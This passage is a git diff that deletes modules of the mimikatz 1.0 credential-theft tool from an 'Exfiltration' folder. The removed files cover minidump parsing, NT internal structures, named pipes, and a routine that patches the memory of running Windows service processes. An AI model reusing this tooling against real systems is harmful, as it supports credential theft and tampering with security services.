mod_minidump::open(wchar_t * filename) -{ - bool resultat = false; - - if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) - if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL)) - if(mesDonnees = MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0)) - resultat = (reinterpret_cast(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast(reinterpret_cast(mesDonnees)->Version) == MINIDUMP_VERSION); - - return resultat; -} - -MINIDUMP_TYPE mod_minidump::getFlags() -{ - return static_cast(reinterpret_cast(mesDonnees)->Flags); -} - -const wchar_t *FlagsString[] = { - L"MiniDumpNormal", - L"MiniDumpWithDataSegs", - L"MiniDumpWithFullMemory", - L"MiniDumpWithHandleData", - L"MiniDumpFilterMemory", - L"MiniDumpScanMemory", - L"MiniDumpWithUnloadedModules", - L"MiniDumpWithIndirectlyReferencedMemory", - L"MiniDumpFilterModulePaths", - L"MiniDumpWithProcessThreadData", - L"MiniDumpWithPrivateReadWriteMemory", - L"MiniDumpWithoutOptionalData", - L"MiniDumpWithFullMemoryInfo", - L"MiniDumpWithThreadInfo", - L"MiniDumpWithCodeSegs", - L"MiniDumpWithoutAuxiliaryState", - L"MiniDumpWithFullAuxiliaryState", - L"MiniDumpWithPrivateWriteCopyMemory", - L"MiniDumpIgnoreInaccessibleMemory", - L"MiniDumpWithTokenInformation" -}; - -bool mod_minidump::FlagsToStrings(vector * monVecteur) -{ - return FlagsToStrings(getFlags(), monVecteur); -} - -bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector * monVecteur) -{ - bool resultat = false; - - if(!Flags) - { - monVecteur->push_back(FlagsString[0]); - resultat = true; - } - else if(Flags & MiniDumpValidTypeFlags) - { - DWORD shift, i; - for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++) - { - if((Flags & shift) == shift) - monVecteur->push_back(FlagsString[i]); - } - resultat = true; - } - - return resultat; -} - -LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type) -{ - PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast(RVAtoPTR(reinterpret_cast(mesDonnees)->StreamDirectoryRva)); - for(DWORD i = 0; i < reinterpret_cast(mesDonnees)->NumberOfStreams; i++) - { - if(mesRepertoires[i].StreamType == type) - return RVAtoPTR(mesRepertoires[i].Location.Rva); - } - return NULL; -} - -PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule) -{ - if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast(getStream(ModuleListStream))) - { - for(DWORD i = 0; i < monObject->NumberOfModules; i++) - { - PMINIDUMP_MODULE monModule = &monObject->Modules[i]; - PMINIDUMP_STRING monModuleString = reinterpret_cast(RVAtoPTR(monObject->Modules[i].ModuleNameRva)); - if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size())) - return monModule; - } - } - return NULL; -} - -bool mod_minidump::getStreamsVector(vector * monVecteur) -{ - PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast(RVAtoPTR(reinterpret_cast(mesDonnees)->StreamDirectoryRva)); - for(DWORD i = 0; i < reinterpret_cast(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++])); - return true; -} - -const wchar_t *StreamTypeString[] = { - L"UnusedStream", - L"ReservedStream0", - L"ReservedStream1", - L"ThreadListStream", - L"ModuleListStream", - L"MemoryListStream", - L"ExceptionStream", - L"SystemInfoStream", - L"ThreadExListStream", - L"Memory64ListStream", - L"CommentStreamA", - L"CommentStreamW", - L"HandleDataStream", - L"FunctionTableStream", - L"UnloadedModuleListStream", - L"MiscInfoStream", - L"MemoryInfoListStream", - L"ThreadInfoListStream", - L"HandleOperationListStream", - L"TokenStream" -}; - -wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType) -{ - if(monType <= TokenStream) - return StreamTypeString[monType]; - else - { - wostringstream monStream; - monStream << L"Inconnu (" << monType << L")"; - return monStream.str(); - } -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h deleted file mode 100644 index 4247ab0..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h +++ /dev/null @@ -1,33 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include "mod_text.h" - -class mod_minidump -{ -private: - HANDLE monFichier, monFileMapping; - LPVOID mesDonnees; - -public: - mod_minidump(); - virtual ~mod_minidump(void); - - LPVOID RVAtoPTR(RVA monRVA); - bool open(wchar_t * filename); - LPVOID getStream(MINIDUMP_STREAM_TYPE type); - - PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule); - bool getStreamsVector(vector * monVecteur); - MINIDUMP_TYPE getFlags(); - bool FlagsToStrings(vector * monVecteur); - - - static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType); - static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector * monVecteur); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h deleted file mode 100644 index 7188f2d..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h +++ /dev/null @@ -1,322 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include -#include - -typedef LONG KPRIORITY; -typedef void** PPVOID; - -typedef enum _SYSTEM_INFORMATION_CLASS { - SystemBasicInformation, - SystemProcessorInformation, - SystemPerformanceInformation, - SystemTimeOfDayInformation, - SystemPathInformation, - SystemProcessInformation, - SystemCallCountInformation, - SystemDeviceInformation, - SystemProcessorPerformanceInformation, - SystemFlagsInformation, - SystemCallTimeInformation, - SystemModuleInformation, - SystemLocksInformation, - SystemStackTraceInformation, - SystemPagedPoolInformation, - SystemNonPagedPoolInformation, - SystemHandleInformation, - SystemObjectInformation, - SystemPageFileInformation, - SystemVdmInstemulInformation, - SystemVdmBopInformation, - SystemFileCacheInformation, - SystemPoolTagInformation, - SystemInterruptInformation, - SystemDpcBehaviorInformation, - SystemFullMemoryInformation, - SystemLoadGdiDriverInformation, - SystemUnloadGdiDriverInformation, - SystemTimeAdjustmentInformation, - SystemSummaryMemoryInformation, - SystemNextEventIdInformation, - SystemEventIdsInformation, - SystemCrashDumpInformation, - SystemExceptionInformation, - SystemCrashDumpStateInformation, - SystemKernelDebuggerInformation, - SystemContextSwitchInformation, - SystemRegistryQuotaInformation, - SystemExtendServiceTableInformation, - SystemPrioritySeperation, - SystemPlugPlayBusInformation, - SystemDockInformation, - KIWI_SystemPowerInformation, - SystemProcessorSpeedInformation, - SystemCurrentTimeZoneInformation, - SystemLookasideInformation, - KIWI_SystemMmSystemRangeStart = 50 -} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; - -typedef enum _OBJECT_INFORMATION_CLASS { - ObjectBasicInformation, - ObjectNameInformation, - ObjectTypeInformation, - ObjectAllInformation, - ObjectDataInformation -} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; - - -typedef enum _PROCESSINFOCLASS { - ProcessBasicInformation, - ProcessQuotaLimits, - ProcessIoCounters, - ProcessVmCounters, - ProcessTimes, - ProcessBasePriority, - ProcessRaisePriority, - ProcessDebugPort, - ProcessExceptionPort, - ProcessAccessToken, - ProcessLdtInformation, - ProcessLdtSize, - ProcessDefaultHardErrorMode, - ProcessIoPortHandlers, // Note: this is kernel mode only - ProcessPooledUsageAndLimits, - ProcessWorkingSetWatch, - ProcessUserModeIOPL, - ProcessEnableAlignmentFaultFixup, - ProcessPriorityClass, - ProcessWx86Information, - ProcessHandleCount, - ProcessAffinityMask, - ProcessPriorityBoost, - ProcessDeviceMap, - ProcessSessionInformation, - ProcessForegroundInformation, - ProcessWow64Information, - ProcessImageFileName, - ProcessLUIDDeviceMapsEnabled, - ProcessBreakOnTermination, - ProcessDebugObjectHandle, - ProcessDebugFlags, - ProcessHandleTracing, - ProcessIoPriority, - ProcessExecuteFlags, - ProcessTlsInformation, - ProcessCookie, - ProcessImageInformation, - ProcessCycleTime, - ProcessPagePriority, - ProcessInstrumentationCallback, - ProcessThreadStackAllocation, - ProcessWorkingSetWatchEx, - ProcessImageFileNameWin32, - ProcessImageFileMapping, - ProcessAffinityUpdateMode, - ProcessMemoryAllocationMode, - ProcessGroupInformation, - ProcessTokenVirtualizationEnabled, - ProcessConsoleHostProcess, - ProcessWindowInformation, - MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum -} PROCESSINFOCLASS; - -typedef enum _POOL_TYPE -{ - NonPagedPool, - PagedPool, - NonPagedPoolMustSucceed, - DontUseThisType, - NonPagedPoolCacheAligned, - PagedPoolCacheAligned, - NonPagedPoolCacheAlignedMustS -} POOL_TYPE, *PPOOL_TYPE; - -typedef struct _PROCESS_SESSION_INFORMATION { - ULONG SessionId; -} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION; - -typedef struct _PROCESS_ACCESS_TOKEN { - HANDLE Token; - HANDLE Thread; -} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; - -typedef struct _OBJECT_TYPE_INFORMATION -{ - UNICODE_STRING Name; - ULONG TotalNumberOfObjects; - ULONG TotalNumberOfHandles; - ULONG TotalPagedPoolUsage; - ULONG TotalNonPagedPoolUsage; - ULONG TotalNamePoolUsage; - ULONG TotalHandleTableUsage; - ULONG HighWaterNumberOfObjects; - ULONG HighWaterNumberOfHandles; - ULONG HighWaterPagedPoolUsage; - ULONG HighWaterNonPagedPoolUsage; - ULONG HighWaterNamePoolUsage; - ULONG HighWaterHandleTableUsage; - ULONG InvalidAttributes; - GENERIC_MAPPING GenericMapping; - ULONG ValidAccess; - BOOLEAN SecurityRequired; - BOOLEAN MaintainHandleCount; - USHORT MaintainTypeList; - POOL_TYPE PoolType; - ULONG PagedPoolUsage; - ULONG NonPagedPoolUsage; -} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; - -typedef struct _LDR_DATA_TABLE_ENTRY -{ - LIST_ENTRY InLoadOrderLinks; - LIST_ENTRY InMemoryOrderLinks; - LIST_ENTRY InInitializationOrderLinks; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; - ULONG Flags; - WORD LoadCount; - WORD TlsIndex; - union - { - LIST_ENTRY HashLinks; - struct - { - PVOID SectionPointer; - ULONG CheckSum; - }; - }; - union - { - ULONG TimeDateStamp; - PVOID LoadedImports; - }; - DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext; - PVOID PatchInformation; - LIST_ENTRY ForwarderLinks; - LIST_ENTRY ServiceTagLinks; - LIST_ENTRY StaticLinks; -} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - - -typedef struct _PEB_LDR_DATA { - ULONG Length; - BOOLEAN Initialized; - PVOID SsHandle; - LIST_ENTRY InLoadOrderModulevector; - LIST_ENTRY InMemoryOrderModulevector; - LIST_ENTRY InInitializationOrderModulevector; -} PEB_LDR_DATA, *PPEB_LDR_DATA; - - -typedef struct _PEB -{ - BOOLEAN InheritedAddressSpace; - BOOLEAN ReadImageFileExecOptions; - BOOLEAN BeingDebugged; - BOOLEAN Spare; - HANDLE Mutant; - PVOID ImageBaseAddress; - PPEB_LDR_DATA LoaderData; - PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters; - PVOID SubSystemData; - PVOID ProcessHeap; - PVOID FastPebLock; - PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine; - PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine; - ULONG EnvironmentUpdateCount; - PPVOID KernelCallbackTable; - PVOID EventLogSection; - PVOID EventLog; - DWORD Freevector; //PPEB_FREE_BLOCK Freevector; - ULONG TlsExpansionCounter; - PVOID TlsBitmap; - ULONG TlsBitmapBits[0x2]; - PVOID ReadOnlySharedMemoryBase; - PVOID ReadOnlySharedMemoryHeap; - PPVOID ReadOnlyStaticServerData; - PVOID AnsiCodePageData; - PVOID OemCodePageData; - PVOID UnicodeCaseTableData; - ULONG NumberOfProcessors; - ULONG NtGlobalFlag; - BYTE Spare2[0x4]; - LARGE_INTEGER CriticalSectionTimeout; - ULONG HeapSegmentReserve; - ULONG HeapSegmentCommit; - ULONG HeapDeCommitTotalFreeThreshold; - ULONG HeapDeCommitFreeBlockThreshold; - ULONG NumberOfHeaps; - ULONG MaximumNumberOfHeaps; - PPVOID *ProcessHeaps; - PVOID GdiSharedHandleTable; - PVOID ProcessStarterHelper; - PVOID GdiDCAttributevector; - PVOID LoaderLock; - ULONG OSMajorVersion; - ULONG OSMinorVersion; - ULONG OSBuildNumber; - ULONG OSPlatformId; - ULONG ImageSubSystem; - ULONG ImageSubSystemMajorVersion; - ULONG ImageSubSystemMinorVersion; - ULONG GdiHandleBuffer[0x22]; - ULONG PostProcessInitRoutine; - ULONG TlsExpansionBitmap; - BYTE TlsExpansionBitmapBits[0x80]; - ULONG SessionId; -} PEB, *PPEB; - -typedef struct _PROCESS_BASIC_INFORMATION { - NTSTATUS ExitStatus; - PPEB PebBaseAddress; - ULONG_PTR AffinityMask; - KPRIORITY BasePriority; - ULONG_PTR UniqueProcessId; - ULONG_PTR InheritedFromUniqueProcessId; -} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; - -typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { - SIZE_T Size; // Must be set to structure size on input - PROCESS_BASIC_INFORMATION BasicInfo; - union { - ULONG Flags; - struct { - ULONG IsProtectedProcess : 1; - ULONG IsWow64Process : 1; - ULONG IsProcessDeleting : 1; - ULONG IsCrossSessionCreate : 1; - ULONG SpareBits : 28; - } DUMMYSTRUCTNAME; - } DUMMYUNIONNAME; -} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; - -typedef struct _SYSTEM_HANDLE -{ - DWORD ProcessId; - BYTE ObjectTypeNumber; - BYTE Flags; - USHORT Handle; - PVOID Object; - ACCESS_MASK GrantedAccess; -} SYSTEM_HANDLE, *PSYSTEM_HANDLE; - -typedef struct _SYSTEM_HANDLE_INFORMATION -{ - DWORD HandleCount; - SYSTEM_HANDLE Handles[1]; -} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; - -typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength); -typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength); -typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle); -typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle); -typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength); -typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength); -typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp deleted file mode 100644 index 3388c3e..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp +++ /dev/null @@ -1,38 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_parseur.h" - -vector mod_parseur::parse(const wstring & line) -{ - vector result; - - wstring item; - wstringstream ss(line); - - while(ss >> item) - { - if (item[0] == L'"') - { - if (item[item.length() - 1] == L'"') - { - result.push_back(item.substr(1, item.length() -2)); - } - else - { - wstring restOfItem; - getline(ss, restOfItem, L'"'); - result.push_back(item.substr(1) + restOfItem); - } - } - else - { - result.push_back(item); - } - } - - return result; -} - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h deleted file mode 100644 index e897aba..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h +++ /dev/null @@ -1,15 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include - -class mod_parseur -{ -public: - static vector parse(const wstring & line); -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp deleted file mode 100644 index 95b46c6..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp +++ /dev/null @@ -1,146 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_patch.h" -#include "..\mimikatz\global.h" - -bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) -{ - bool reussite = false; - - mod_service::KIWI_SERVICE_STATUS_PROCESS monService; - if(mod_service::getUniqueForName(&monService, &serviceName)) - { - if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING) - { - (*outputStream) << L"Service : " << monService.serviceDisplayName << endl; - reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace); - } - else (*outputStream) << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air très actif" << endl; - } - else (*outputStream) << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl; - - return reussite; -} - -bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) -{ - bool reussite = false; - - mod_process::KIWI_MODULEENTRY32 monModule; - if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid)) - { - BYTE * baseAddr = monModule.modBaseAddr; - DWORD taille = monModule.modBaseSize; - - if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) - { - (*outputStream) << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl; - - BYTE * addrPattern = NULL; - if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle)) - { - reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle); - (*outputStream) << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl; - } - else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; - - CloseHandle(processHandle); - } - else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl; - return reussite; -} - -bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64) -{ - bool reussite = false; - - OSVERSIONINFOEX maVersion; - if(reussite = mod_system::getVersion(&maVersion)) - { - if(majorVersion) *majorVersion = maVersion.dwMajorVersion; - if(majorVersion) *minorVersion = maVersion.dwMinorVersion; - if(build) *build = maVersion.dwBuildNumber; - if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION; - - if(is64) - { - SYSTEM_INFO mesInfos; - GetNativeSystemInfo(&mesInfos); - - *is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64); - } - } - - return reussite; -} - -bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide) -{ - bool reussite = false; - - DWORD majorVersion, minorVersion, build; - bool isServer, is64; - - if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64)) - { - reussite = - (monOsValide->majorVersion == majorVersion) && - (monOsValide->minorVersion == minorVersion) && - ((monOsValide->build == build) || (monOsValide->build == 0)) && - (monOsValide->isServer == isServer) && - (monOsValide->is64 == is64) - ; - } - else (*outputStream) << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl; - return reussite; -} - -bool mod_patch::checkVersion(OS monOsValide) -{ - KIWI_OS_CHECK kOs; - switch(monOsValide) - { - case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; - case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; - - case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; - case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; - - case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; - case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; - - case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; - case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; - - case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; - case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; - - case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; - case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; - - case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; - } - - return checkVersion(&kOs); -} - - -bool mod_patch::checkVersion(vector * vectorValid) -{ - bool reussite = false; - - for(vector::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++) - { - reussite = checkVersion(*monOs); - } - - if(!reussite) - (*outputStream) << L"La version du système d\'exploitation actuelle n\'est pas supportée par cette fonction." << endl; - - return reussite; -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.h b/Exfiltration/mimikatz-1.0/modules/mod_patch.h deleted file mode 100644 index 1ae901d..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_patch.h +++ /dev/null @@ -1,57 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_service.h" -#include - -class mod_patch -{ -public: - typedef struct _KIWI_OS_CHECK - { - DWORD majorVersion; - DWORD minorVersion; - DWORD build; - bool isServer; - bool is64; - } KIWI_OS_CHECK, *PKIWI_OS_CHECK; - - enum OS - { - WINDOWS_2000_PRO_x86, - WINDOWS_2000_SRV_x86, - - WINDOWS_XP_PRO___x86, - WINDOWS_XP_PRO___x64, - WINDOWS_2003_____x86, - WINDOWS_2003_____x64, - - WINDOWS_VISTA____x86, - WINDOWS_VISTA____x64, - WINDOWS_2008_____x86, - WINDOWS_2008_____x64, - - WINDOWS_SEVEN____x86, - WINDOWS_SEVEN____x64, - WINDOWS_2008r2___x64, - - WINDOWS_8________x86, - WINDOWS_8________x64, - WINDOWS_8_SERVER_x64 - }; - - static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL); - static bool checkVersion(KIWI_OS_CHECK * monOsValide); - static bool checkVersion(OS monOsValide); - static bool checkVersion(vector * vectorValid); - - static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); - static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp deleted file mode 100644 index bd62e9e..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp +++ /dev/null @@ -1,121 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_pipe.h" - -mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\") -{ - pipePath.append(serveur); - pipePath.append(L"\\pipe\\"); - pipePath.append(pipeName); -} - -mod_pipe::~mod_pipe(void) -{ - closePipe(); -} - -bool mod_pipe::closePipe() -{ - bool reussite = false; - - if(hPipe != INVALID_HANDLE_VALUE && hPipe) - { - FlushFileBuffers(hPipe); - DisconnectNamedPipe(hPipe); - reussite = CloseHandle(hPipe) == TRUE; - } - return reussite; -} - -bool mod_pipe::readFromPipe(wstring &laReponse) -{ - bool reussite = false; - wchar_t monBuffer[128]; - - bool fSuccess; - DWORD longueurReponse; - laReponse.clear(); - - do - { - fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false; - if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */) - { - laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t)); - } - else - { - break; - } - } while (!fSuccess); - - return reussite; -} - -bool mod_pipe::writeToPipe(const wstring &leMessage) -{ - bool reussite = false; - DWORD longueurMessage; - DWORD longueurOctetsEcris; - - longueurMessage = (static_cast(leMessage.size())) * sizeof(wchar_t); - - if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris) - { - reussite = FlushFileBuffers(hPipe) != 0; - } - return reussite; -} - - -bool mod_pipe::createServer() -{ - bool reussite = false; - - if(!hPipe || hPipe == INVALID_HANDLE_VALUE) - { - hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL); - - if (hPipe && hPipe != INVALID_HANDLE_VALUE) - { - reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); - } - else - { - closePipe(); - } - } - return reussite; -} - -bool mod_pipe::createClient() -{ - bool reussite = false; - - if(!hPipe || hPipe == INVALID_HANDLE_VALUE) - { - if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT)) - { - hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - - if (hPipe != INVALID_HANDLE_VALUE) - { - DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT; - - if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0)) - { - closePipe(); - } - } - } - } - return reussite; -} - -bool mod_pipe::isConnected() -{ - return (hPipe && hPipe != INVALID_HANDLE_VALUE); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h deleted file mode 100644 index 69ab9e9..0000000 --- 